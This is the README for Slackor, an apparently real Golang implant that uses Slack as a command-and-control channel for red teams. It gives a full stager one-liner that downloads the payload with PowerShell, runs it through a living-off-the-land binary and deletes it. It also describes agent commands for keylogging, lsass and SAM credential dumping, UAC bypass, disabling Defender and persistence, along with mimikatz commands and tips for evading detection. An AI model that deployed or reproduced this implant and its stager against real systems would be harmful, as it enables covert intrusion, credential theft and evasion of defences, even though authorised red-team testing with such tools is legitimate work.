Slackor #

Note: Given the countless high quality C2 frameworks available today, this project will no longer be actively maintained. (06/10/2020)

A Golang implant that uses Slack as a command and control channel.

This project was inspired by Gcat and Twittor.

This tool is released as a proof of concept. Be sure to read and understand the Slack App Developer Policy before creating any Slack apps.

Setup

Note: The server is written in Python 3

For this to work you need:

A Slack Workspace
Register an app with the following permissions:

Bot:
- channels:history
- channels:read
- chat:write
- users:read
User:
- channels:history
- channels:write
- files:read:
- files:write
Create a bot

This repo contains five files:

install.sh Installs dependancies
setup.py The script to create the slack channels, database, and implant
agent.py Script to generate new implants
server.py The Slackor server, designed to be ran on Linux
agent.go The golang implant
requirements.txt Python dependencies (installed automatically)

To get started:

go get github.com/n00py/Slackor
cd $GOPATH/src/github.com/n00py/Slackor
Run install.sh
Run setup.py
- Supply the OAuth Access Token and Bot User OAuth Access Token from your app

After running the script successfully, several files will be created in the dist/ directory:

agent.windows.exe: Windows 64-bit binary
agent.upx.exe: Windows 64-bit binary, UPX packed
agent.darwin: macOS 64-bit binary
agent.32.linux: Linux 32-bit binary
agent.64.linux: Linux 64-bit binary

After starting server.py on a Linux host, execute whichever agent above is appropriate for your target host.

Run the "stager" module to generate a one-liner and other droppers.

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

This will execute InvokeWebRequest(PS v.3+) to download the payload, execute it using a LOLBin, and then delete itself once killed. This is a working example but the command can tweaked to use another download method or execution method.

Usage

Type "help" or press [TAB] to see a list of available commands. type "help [COMMAND]" to see a description of that command.

(Slackor)

help - Displays help menu
interact - Interact with an agent
list - List all registered agents
remove - kill and remove an agent
revive - Sends a signal to all agents to re-register with the server
stager - Generates a one-liner to download an execute the implant
quit - Quit the program
wipefiles - Deletes all uploaded files out of Slack

Once an agent checks in, you can interact with it. Use "interact [AGENT] to enter into an agent prompt. Type "help" or press [TAB] to see a list of available commands.

(Slackor:AGENT)

Common Commands
- back - Return to the main menu
- beacon - change the amount of time between each check-in by an agent (default is 5 seconds)
- download - Download a file from the agent to the Slackor server
- help - Displays help menu
- kill - Kill the agent
- sleep - Cause the agent to sleep once (enter time in seconds)
- sysinfo - Displays the current user, OS version, system architecture, and number of CPU cores
- upload - Upload a file to the agent from the Slackor server
- wget - Pull down arbitrary files over HTTP/HTTPS
Windows Commands
- bypassuac - Attempts to spawn a high integrity agent
- cleanup - Removes persistence artifacts
- clipboard - Retreives the contents of the clipboard
- defanger - Attempts to de-fang Windows Defender
- duplicate - Causes the agent to spawn another invocation of itself
- getsystem - Spawns an agent as NTAUTHORITY/SYSTEM
- keyscan - Starts a keylogger on the agent
- minidump - Dumps memory from lsass.exe and downloads it
- persist - Creates persistence by implanting a binary in an ADS
- samdump - Attempts to dump the SAM file for offline hash extraction
- screenshot - Takes a screenshot of the desktop and retrieves it
- shellcode - Executes x64 raw shellcode
Mac Commands
- pyinject - Executes a python script in memory (Python 2.7)
Linux Commands
- pyinject - Executes a python script in memory (Python 2.7)
- screenshot - Takes a screenshot of the desktop and retrieves it

OPSEC Considerations

Command output and downloaded files are AES encrypted in addition to Slack's TLS transport encryption.

Modules will warn you before performing tasks that write to disk.
When executing shell commands, take note that cmd.exe/bash will be executed. This may be monitored on the host. Here are several OPSEC safe commands that will NOT execute cmd.exe/bash:

cat - prints file content
cd - change directory
find - search directory filenames
getip - Get external IP address (makes a DNS request)
hostname - Displays the name of the host
ifconfig - Displays interface information
ls - list directory contents
mkdir - Creates a directory
pwd - prints the current working directory
rm - removes a file
rmdir - removes a directory
whoami / getuid - prints the current user

Credits

https://github.com/EgeBalci - Functions adapted from HERCULES and EGESPLOIT
https://github.com/SaturnsVoid - Keylogger adapted from GoBot2
https://github.com/vyrus001 - x64 shellcode execution shellGo
Crypto functions adopted from https://www.golang123.com/topic/1686
Persistence idea from Enigma0x3
Minidump adoped from Merlin, credit to C-Sto
Screenshot code from kbinani
Clipboard code from atotto
Stager generator from hlldz
UAC bypass by winscripting.blog
Lulzbin find by @vector_sec
Countless threads on StackOverflow
Thanks to impacket for dumping hashes from SAM/SYS/SECURITY reg hives.
LSASS dump credential extraction made possbile using pypykatz by skelsec
Bob Aman (Sporkmonger) for various additions

Future goals

DOSfuscation
Reflectively load DLL/PE - https://github.com/vyrus001/go-mimikatz
Execute C# assemblies in memory - https://github.com/lesnuages/go-execute-assembly
Source code obfuscation https://github.com/unixpickle/gobfuscate

FAQ:

Is this safe to use for red teams/pentesting?

Yes, given some conditions. While the data is encrypted in transit, the agent contains the key for decryption. Anyone who acquires a copy of the agent could reverse engineer it and extract the API keys and the AES secret key. Anyone who compromises or otherwise gains access to the workspace would be able to retrieve all data within it. For this reason, it is not recommended to re-use infrastructure against multiple organizations.

What about Mimikatz?

The implant does not have in-memory password dumping functionality. If you need logonPasswords, you can try the following:

(Slackor: AGENT)minidump

THis will automically extract passwords with Pypykatz. Alternatively, you can use Mimikatz on Windows.

>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

Is it cross-platform?

It has limited cross-platform support. It has not been fully tested on all of the systems it can be run on. The server was designed to run on Kali Linux. The agent is compiled for Windows, Mac, and Linux, but has primarily been tested with Windows 10. Agents may mishandle commands which are not supported by that agent's platform (don't try to minidump a Mac).

How well does it scale?

Scalability is limited by the Slack API. If you have multiple agents, consider increasing the beacon interval of beacons not in use.

Is it vulnerable to standard beacon analysis?

Currently each beacon has 20% jitter built in, and beacon times can be customized. Agent check-in request and response packets will be about the same size each time as long as no new commands are recieved.

Why did you do [x] when a better way to do it is [y]?

I tried my best. PRs are encouraged :)

It gets caught by AV!

With this being open source now, it's bound to have issues. I'll fix modules as I can but there is no guarantee this will bypass all AV at all times.